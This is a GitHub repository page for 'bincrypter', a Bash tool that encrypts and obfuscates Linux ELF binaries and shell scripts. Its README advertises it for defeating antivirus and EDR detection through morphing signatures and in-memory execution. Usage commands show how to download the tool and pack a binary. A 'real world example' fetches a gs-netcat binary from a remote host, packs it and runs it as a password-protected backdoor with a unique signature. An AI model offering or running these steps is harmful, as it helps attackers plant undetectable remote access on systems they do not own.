Skip to content

Pack/Encrypt/Obfuscate ELF + SHELL scripts

Notifications You must be signed in to change notification settings

Ridter/bincrypter

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

28 Commits
 
 
 
 
 
 

Repository files navigation

A Linux Binary Runtime Crypter - in BASH!

  • Obfuscates & encrypts any ELF binary or #!-script
  • AV/EDR death: Morphing + different signature every time
  • 100% in-memory. No temporary files.
  • Not soiling the filesystem
  • Can double or triple encrypt the same binary (or itself)
  • Resulting binary is heavily obfuscated (string only shows garbage)
  • Living off the Land: Only needs /bin/sh + perl + openssl
  • Architecture agnostic: Works on x86_64, aarch64, arm6, mips, ...

exmaple

Download:

curl -SsfL https://github.com/hackerschoice/bincrypter/raw/refs/heads/main/bincrypter.sh -o bincrypter.sh
chmod +x bincrypter.sh

Example:

cp /usr/bin/id id
./bincrypter.sh id
# Compressed: 68552 --> 24176 [35%]

./id
# uid=0(root) gid=0(root) groups=0(root)

Set a custom PASSWORD (optionally):

cp /usr/bin/id id
./bincrypter.sh id foobar
# Compressed: 68552 --> 23860 [34%]

./id
# Enter Password: foobar
# uid=0(root) gid=0(root) groups=0(root)

Real world example (install a backdoor with a unique signature):

curl -SsfL "https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)" | PASSWORD="foobar" ./bincrypter.sh >gsnc
chmod +x gsnc
PASSWORD="foobar" GS_ARGS="-ilD -s ChangeMe" ./gsnc

Other great work:
https://github.com/guitmz/ezuri
https://github.com/upx/upx


Join the fun: https://thc.org/ops
bsky: @hackerschoice.bsky.social
Mastodon: @[email protected]

About

Pack/Encrypt/Obfuscate ELF + SHELL scripts

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Shell 100.0%